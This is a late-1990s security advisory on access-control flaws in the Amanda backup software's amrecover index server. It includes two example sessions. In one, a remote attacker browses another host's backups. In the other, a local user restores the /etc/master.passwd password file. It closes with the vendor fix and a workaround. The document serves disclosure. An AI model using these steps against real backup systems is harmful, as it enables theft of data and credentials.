COMMAND
Amanda
SYSTEMS AFFECTED
Systems running Amanda backup software (2.3.0.x, 2.4.0beta)
PROBLEM
Following info is based on CPIO Security Notice (issue number 11).
There are serveral security problems in the current version of
Amanda.
1. Any attacker can remotely connect to an index server
allowing that person to access any machine being backed up.
2. Any attacker with local access to a machine being backed up
has access to any machine being backed up or any partion
being backed up via Amanda.
In example 1 the players are:
index.servername.net | the affected index server
remote.attacker.org | attackers computer
staff | a machine being backed up by the index server
[remote%] amrecover -s index.servername.net
AMRECOVER Version 1.0. Contacting server on index.servername.net ...
220 index.servername.net AMANDA index server (1.0) ready.
Setting restore date to today (1997-12-24)
200 Working date set to 1997-12-24.
200 Config set to DailySet1.
501 No index records for host: remote.attacker.org. Invalid?
amrecover> sethost staff
200 Dump host set to staff.
amrecover> setdisk wd0a
200 Disk set to wd0a
amrecover> ls
[ list of root partion ]
In example 2 the players are:
users | users shell machine being backed up
staff | staff machine being backed up
[users%] amrecover
AMRECOVER Version 1.0. Contacting server on index.servername.net ...
220 index.servername.net AMANDA index server (1.0) ready.
Setting restore date to today (1997-12-24)
200 Working date set to 1997-12-24.
200 Config set to DailySet1.
200 Dump host set to users.
Divided $CWD into directory /joey on disk wd0f mounted at /home/home1.
200 Disk set to wd0f.
amrecover> setdisk wd0a
200 Disk set to wd0a
amrecover> cd etc
amrecover> add master.passwd
Added /etc/master.passwd
amrecover> extract
Extracting files using tape drive /dev/nrst0 on host index.servername.net.
The following tapes are needed: DAILY6
Restoring files into directory /home/home1/joey
Continue? [Y/n]: y
Load tape DAILY6 now
Continue? [Y/n]: y
amrecover> quit
[local%] pwd
/home/home1/joey
[local%] ls master.passwd
master.passwd
This vulnerability was discovered and described by Joey Novell.
SOLUTION
Amanda 2.4.0b5 fixes the amrecover problem and other potential
security holes, and is the product of a security audit conducted
in conjunction with the OpenBSD effort. The new version is
available at:
ftp://ftp.amanda.org/pub/amanda/amanda-2.4.0b5.tar.gz
Amanda 2.3.0 and earlier UMD releases are not affected by this
particular bug, as amrecover was not part of those releases.
However, earlier releases do have potential security problems and
other bugs, so the Amanda Team recommends upgrading to the new
release as soon as practicable. At an active site running Amanda
2.3.0.x or 2.4.0 beta, amrecover/amindexd can be disabled by:
- removing amandaidx and amidxtape from /etc/inetd.conf
- restarting inetd.conf (kill -HUP should do)